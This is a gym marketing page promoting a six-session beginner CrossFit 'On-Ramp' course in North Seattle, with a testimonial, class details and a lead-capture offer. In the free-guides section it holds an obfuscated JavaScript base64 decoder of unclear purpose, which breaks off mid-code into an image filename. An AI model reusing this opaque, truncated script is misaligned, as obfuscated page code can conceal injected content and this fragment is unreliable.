6 Lesson On-Ramp

6 Lesson On-Ramp

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GETTING STARTED IN ANY CROSSFIT PROGRAM

If you have CrossFit experience just contact us with the form below and we'll setup a time for you to swing by and speak with our head coach.

Beware of any CrossFit facility that let's beginners just jump into class.  It isn't safe for them and it isn't safe for you.

If you don't have a background with CrossFit it is essential that you learn the basic movements before joining regular classes.  The On-Ramp program at MKG is a 6-class introductory series designed to acclimate new members into our regular CrossFit group classes and teach the CrossFit and MKG concept itself.

Each session includes a warm-up, skill instruction/review, light workout, and stretching / mobility cool down.  Over the 6 classes you'll experience the different styles of CrossFit workout, the proper form for the major barbell exercises, safety protocols and get into a routine.  At the end you'll know without a doubt if CrossFit is for you.

For those truly considering classes at our North Seattle location we have two great guides/e-books we send you along with a preview video when you use any of the contact forms you see on this page.

HERE'S WHAT ONE OF OUR ON-RAMP PARTICIPANTS HAD TO SAY

Really happy with MKG CrossFit! I started with their On-Ramp class this January, and so far it's been exactly what I was looking for. I've never been a big gym person, and was looking for something varied where someone told me what to do =). The coaches and community here are great - they focus on making sure you can do the movement correctly / safely, and scaling things to people's abilities. Very welcoming and friendly environment for newcomers.

Jennifer Maurer Google Review

WE HAVE TWO MAIN PRIORITIES

First, we want you to have FUN and On-Ramp really allows us to get to know YOU!  Classes are strictly limited to 6 participants to facilitate that.

Second, is we want you to learn to move efficiently and SAFELY.

On-Ramp classes are typically conducted 3x a week for 2 consecutive weeks in the evening.  Courses typically begin at the beginning of each month but are variable with demand and fill up quickly so be sure to get in touch to get on the waiting list.

We also have options for a 3-session private lesson alternative as well as a FREE consultation for those with extensive sport conditioning training.

Get started today!

Just Enter Your Name, Email and Phone For More Information and Instant Access To the Guides, Video and Web Special.

TWO FREE GUIDES WITH YOUR INFORMATION REQUEST

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-FAQ-188x300.jpg" alt="crossfit-foundations-and-faq" width="188" height="300" /> what-is-crossfitThese are our favorite two white papers/guides about CrossFit and answer many of the most pertinent questions you may have.  They are pretty detailed and really demonstrate the why's and what's and help you understand why CrossFit has become so popular and created so many raving fans.  These are provided solely to educate potential members so if you wouldn't actually consider becoming a member of the CrossFit MKG/MKG Seattle community please obtain them from the archives of the CrossFit Journal.

Feel free to call 206-367-0981 with any questions.